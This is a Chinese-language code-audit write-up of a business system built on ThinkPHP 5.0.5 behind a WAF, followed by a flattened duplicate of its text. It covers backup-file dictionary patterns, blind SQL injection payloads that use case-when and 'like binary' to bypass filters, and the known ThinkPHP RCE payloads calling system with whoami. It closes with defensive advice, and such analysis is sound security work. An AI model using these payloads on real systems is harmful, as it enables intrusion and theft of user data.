一次简单的实战—TP二次开发代码审计
字数 1020 2025-08-20 18:18:40

ThinkPHP5.0.5二次开发代码审计实战教学文档

0x01 开始

基本信息

  • 目标系统:基于ThinkPHP5.0.5二次开发的业务系统
  • 防护措施:存在某武盾WAF防护

关键点:信息收集与备份文件获取

  1. 备份文件字典构建

    • 结合目标公司名称关键字和域名关键字构建敏感备份文件字典
    • 常见备份文件命名模式:
      关键字+backup.tar.gz
      关键字+buckup.zip
      关键字+buckup.rar
      关键字+buckup.zip.tar
      www+关键字.zip
      www+关键字.rar
      关键字.zip
      关键字.rar
      
    • 可自由组合扩展字典
    • 观察参数命名方式推测管理员命名习惯
  2. 实际发现

    • 通过目录扫描发现业务系统备份文件:关键字+backup.tar.gz

0x02 代码审计

系统路由分析

  • 系统基于ThinkPHP5.0.5框架开发
  • 需熟悉ThinkPHP目录结构(参考官方文档)

SQL注入漏洞分析

漏洞位置:身份证号查询功能

  1. 正常请求分析

    • 前端仅限制输入长度,后端无任何过滤
    • 通过修改请求参数可获取任意用户数据
  2. 注入测试

    • 存在WAF防护
    • 后端数据库为MySQL
    • ThinkPHP debug模式未开启
  3. 盲注Payload构造

    • 查询user()长度(示例长度为14):

      POST /index/index/p_card.html HTTP/1.1
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      
      card=1")/(case when length(user())=0 then 1 else 0 end)+--+
      
    • 查询内容(绕过ascii函数过滤):

      • 使用char函数替代ascii函数
      • 使用like binary保持大小写敏感
      POST /index/index/p_card.html HTTP/1.1
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      
      card=3")/(case when substr(user(),1,1)like binary 'a' then 1 else 0 end)+--+
      
  4. 漏洞特征

    • 多处SQL直接拼接且无过滤
    • 相同漏洞模式存在于多个功能点

ThinkPHP RCE漏洞分析

  1. 漏洞验证

    • 存在ThinkPHP经典RCE漏洞
    • 本地环境可复现
  2. Payload示例

    POST?s=index/index
    
    s=whoami&_method=__construct&method=POST&filter[]=system
    aaaa=whoami&_method=__construct&method=GET&filter[]=system
    _method=__construct&method=GET&filter[]=system&get[]=whoami
    get[]=whaomi&_method=__construct&method=get&filter=system
    
  3. WAF绕过失败

    • WAF拦截filter关键字
    • 未找到有效绕过方法

0x03 参考链接

  1. ThinkPHP目录结构:https://www.kancloud.cn/manual/thinkphp5/118008
  2. Thinkphp5.0.5 RCE分析:https://y4er.com/post/thinkphp5-rce/

总结与防御建议

漏洞总结

  1. SQL注入

    • 多处SQL语句直接拼接用户输入
    • 缺乏参数化查询或输入过滤
  2. RCE漏洞

    • 未修复已知框架漏洞
    • 危险方法调用未做限制

防御建议

  1. SQL注入防护

    • 使用参数化查询
    • 实现输入过滤机制
    • 启用ThinkPHP的SQL安全检测
  2. RCE防护

    • 升级ThinkPHP框架版本
    • 限制危险函数调用
    • 配置WAF规则时考虑多种攻击向量
  3. 系统安全加固

    • 删除或保护备份文件
    • 关闭调试模式
    • 实现最小权限原则
  4. WAF配置优化

    • 加强SQL注入防护规则
    • 不依赖单一关键字拦截
    • 实现语义分析检测
ThinkPHP5.0.5二次开发代码审计实战教学文档 0x01 开始 基本信息 目标系统:基于ThinkPHP5.0.5二次开发的业务系统 防护措施:存在某武盾WAF防护 关键点:信息收集与备份文件获取 备份文件字典构建 : 结合目标公司名称关键字和域名关键字构建敏感备份文件字典 常见备份文件命名模式: 可自由组合扩展字典 观察参数命名方式推测管理员命名习惯 实际发现 : 通过目录扫描发现业务系统备份文件: 关键字+backup.tar.gz 0x02 代码审计 系统路由分析 系统基于ThinkPHP5.0.5框架开发 需熟悉ThinkPHP目录结构(参考官方文档) SQL注入漏洞分析 漏洞位置:身份证号查询功能 正常请求分析 : 前端仅限制输入长度,后端无任何过滤 通过修改请求参数可获取任意用户数据 注入测试 : 存在WAF防护 后端数据库为MySQL ThinkPHP debug模式未开启 盲注Payload构造 : 查询user()长度 (示例长度为14): 查询内容 (绕过ascii函数过滤): 使用char函数替代ascii函数 使用 like binary 保持大小写敏感 漏洞特征 : 多处SQL直接拼接且无过滤 相同漏洞模式存在于多个功能点 ThinkPHP RCE漏洞分析 漏洞验证 : 存在ThinkPHP经典RCE漏洞 本地环境可复现 Payload示例 : WAF绕过失败 : WAF拦截 filter 关键字 未找到有效绕过方法 0x03 参考链接 ThinkPHP目录结构:https://www.kancloud.cn/manual/thinkphp5/118008 Thinkphp5.0.5 RCE分析:https://y4er.com/post/thinkphp5-rce/ 总结与防御建议 漏洞总结 SQL注入 : 多处SQL语句直接拼接用户输入 缺乏参数化查询或输入过滤 RCE漏洞 : 未修复已知框架漏洞 危险方法调用未做限制 防御建议 SQL注入防护 : 使用参数化查询 实现输入过滤机制 启用ThinkPHP的SQL安全检测 RCE防护 : 升级ThinkPHP框架版本 限制危险函数调用 配置WAF规则时考虑多种攻击向量 系统安全加固 : 删除或保护备份文件 关闭调试模式 实现最小权限原则 WAF配置优化 : 加强SQL注入防护规则 不依赖单一关键字拦截 实现语义分析检测